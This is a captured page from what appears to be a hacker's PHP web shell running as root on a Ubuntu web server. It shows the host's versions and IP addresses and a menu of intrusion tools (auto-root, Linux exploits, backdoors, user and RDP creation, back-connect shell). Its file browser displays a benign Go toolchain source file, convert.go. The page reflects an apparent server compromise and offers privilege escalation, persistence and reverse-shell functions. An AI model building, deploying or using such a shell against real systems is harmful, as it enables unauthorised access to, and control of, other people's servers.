Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
cmd /
go /
internal /
modconv /
[ HOME SHELL ]
Name
Size
Permission
Action
testdata
[ DIR ]
drwxr-xr-x
convert.go
2.32
KB
-rw-r--r--
convert_test.go
5.62
KB
-rw-r--r--
dep.go
3.28
KB
-rw-r--r--
glide.go
1
KB
-rw-r--r--
glock.go
600
B
-rw-r--r--
godeps.go
703
B
-rw-r--r--
modconv.go
652
B
-rw-r--r--
modconv_test.go
1.63
KB
-rw-r--r--
tsv.go
594
B
-rw-r--r--
vconf.go
652
B
-rw-r--r--
vjson.go
678
B
-rw-r--r--
vmanifest.go
702
B
-rw-r--r--
vyml.go
1007
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : convert.go
// Copyright 2018 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package modconv import ( "fmt" "os" "sort" "strings" "sync" "cmd/go/internal/base" "cmd/go/internal/modfetch" "cmd/go/internal/par" "golang.org/x/mod/modfile" "golang.org/x/mod/module" "golang.org/x/mod/semver" ) // ConvertLegacyConfig converts legacy config to modfile. // The file argument is slash-delimited. func ConvertLegacyConfig(f *modfile.File, file string, data []byte) error { i := strings.LastIndex(file, "/") j := -2 if i >= 0 { j = strings.LastIndex(file[:i], "/") } convert := Converters[file[i+1:]] if convert == nil && j != -2 { convert = Converters[file[j+1:]] } if convert == nil { return fmt.Errorf("unknown legacy config file %s", file) } mf, err := convert(file, data) if err != nil { return fmt.Errorf("parsing %s: %v", file, err) } // Convert requirements block, which may use raw SHA1 hashes as versions, // to valid semver requirement list, respecting major versions. var ( work par.Work mu sync.Mutex need = make(map[string]string) replace = make(map[string]*modfile.Replace) ) for _, r := range mf.Replace { replace[r.New.Path] = r replace[r.Old.Path] = r } for _, r := range mf.Require { m := r.Mod if m.Path == "" { continue } if re, ok := replace[m.Path]; ok { work.Add(re.New) continue } work.Add(r.Mod) } work.Do(10, func(item interface{}) { r := item.(module.Version) repo, info, err := modfetch.ImportRepoRev(r.Path, r.Version) if err != nil { fmt.Fprintf(os.Stderr, "go: converting %s: stat %s@%s: %v\n", base.ShortPath(file), r.Path, r.Version, err) return } mu.Lock() path := repo.ModulePath() // Don't use semver.Max here; need to preserve +incompatible suffix. if v, ok := need[path]; !ok || semver.Compare(v, info.Version) < 0 { need[path] = info.Version } mu.Unlock() }) var paths []string for path := range need { paths = append(paths, path) } sort.Strings(paths) for _, path := range paths { if re, ok := replace[path]; ok { err := f.AddReplace(re.Old.Path, re.Old.Version, path, need[path]) if err != nil { return fmt.Errorf("add replace: %v", err) } } f.AddNewRequire(path, need[path], false) } f.Cleanup() return nil }
Close